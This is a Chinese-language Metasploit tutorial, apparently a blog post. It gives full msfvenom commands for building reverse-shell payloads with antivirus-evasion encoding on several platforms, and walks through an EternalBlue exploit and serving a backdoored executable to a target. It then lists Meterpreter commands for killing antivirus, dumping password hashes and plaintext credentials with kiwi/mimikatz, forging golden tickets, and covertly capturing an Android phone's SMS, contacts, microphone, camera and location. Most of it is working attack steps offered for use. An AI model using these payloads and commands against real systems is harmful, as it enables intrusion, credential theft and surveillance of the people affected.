MSF-1

一、目录结构

auxiliary:辅助
encoders:编码
evasion:躲避杀软
exploits:漏洞利用
nops:payload生成用到
payloads:攻击载荷
post:后渗透
modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块
plugins: 这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。
tools:包含一些有用的脚本和零散的工具。
scripts:目录里面存放都是meterpreter利用的脚本。
db:数据放在这个目录里
data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件
lib:库文件都保存在这个目录里

二、msfvenom 常用参数

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式
-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: '\x00\xff’避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式

各平台生成payload命令

Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10  -f exe -o payload.exe

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1  LPORT=8888  -f raw > shell.php

JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.jsp

python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.py

三、实际操作

1、情报搜集

基于msf发现内网存活主机

search 搜索

msf终端内输入 search scanner type:auxiliary 可用于发现主机的模块

auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version # 发现FTP服务

auxiliary/scanner/http/http_version # 发现HTTP服务

auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机

在这里插入图片描述
2 、威胁建模
经过第一步情报收集 我们通过arp发现了 目标机器ip
接下来可以对目标机器的ip扫描 ,查看目标机器开通了哪些端口, 有哪些服务,是否开了 smb
3、 漏洞分析
第一步先查看smb利用漏洞有哪些 比如永恒之蓝

查询msf与永恒之蓝相关的 模块使用命令 :search ms17_010

利用了一个永恒之蓝的 扫描模块:use auxiliary/scanner/smb/smb_ms17_010

输入 options 查看扫描模块需要配置的参数,配置rhost (rhost指的是目标主机ip)
set rhost ip

执行扫描 输入 run 发现了 可能存在漏洞的主机
在这里插入图片描述
在这里插入图片描述
4、漏洞利用
加载 永恒之蓝漏洞利用模块:use exploit/windows/smb/ms17_010_eternalblue

输入 options 查看扫描模块需要配置的参数

配置 rhost (rhost指的是目标主机ip):set rhost ip

配置 lhost (lhost指的是 监控主机或攻击机 ip):set lhost ip

配置 lport (指的是监控的端口 ):set lport ip

注意端口必须没有被占用

执行扫描 输入 run 执行永恒之蓝漏洞利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第二种方案:通过植入木马的方式进行利用
1、目标机器是win系统 所以使用msfvenom 生成一个win平台的木马

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4446 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
在这里插入图片描述

2、漏洞生成后 通过启动一个py服务将木马上传到目标机器

python -m SimpleHTTPServer 80
在这里插入图片描述
在这里插入图片描述
3、配置监控程序:use exploit/multi/handler
配置了 lhost (lhost指的是 监控主机或攻击机 ip):set lhost ip
配置了 lport (指的是监控的端口 ):set lport ip
注意端口必须和msfvenom 生成的木马端口一样才行
配置攻击载荷 payload:set payload windows/meterpreter/reverse_tcp
在这里插入图片描述
4、执行并等待目标机器执行木马
在这里插入图片描述

四、后渗透

1、Meterpreter是什么
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。
2、Meterpreter中常用的反弹类型
reverse_tcp:这是一个基于TCP的反向链接反弹shell, 使用起来很稳定
3、Meterpreter的常用命令

基本命令
help# 查看Meterpreter帮助

background#返回,把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k  number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
 irb# 进入 Ruby 脚本模式
 read# 从通道读取数据write# 将数据写入到一个通道
 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
 Resource#执行一个已有的rc脚本

 ### 针对安卓手机的一些命令

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t
"hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic
-d  5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

### 针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run
post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希  run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高   run windows/gather/smart_hashdump

抓取自动登录的用户名和密码  run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限  获取系统权限需要输入getsystem)

首选终端输入  load kiwi    加载kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

## 文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32
download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini  # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc
meterpreter > search -f autoexec.bat  #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops     #用户登录数

查看系统信息
在这里插入图片描述

使得允许远程访问
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值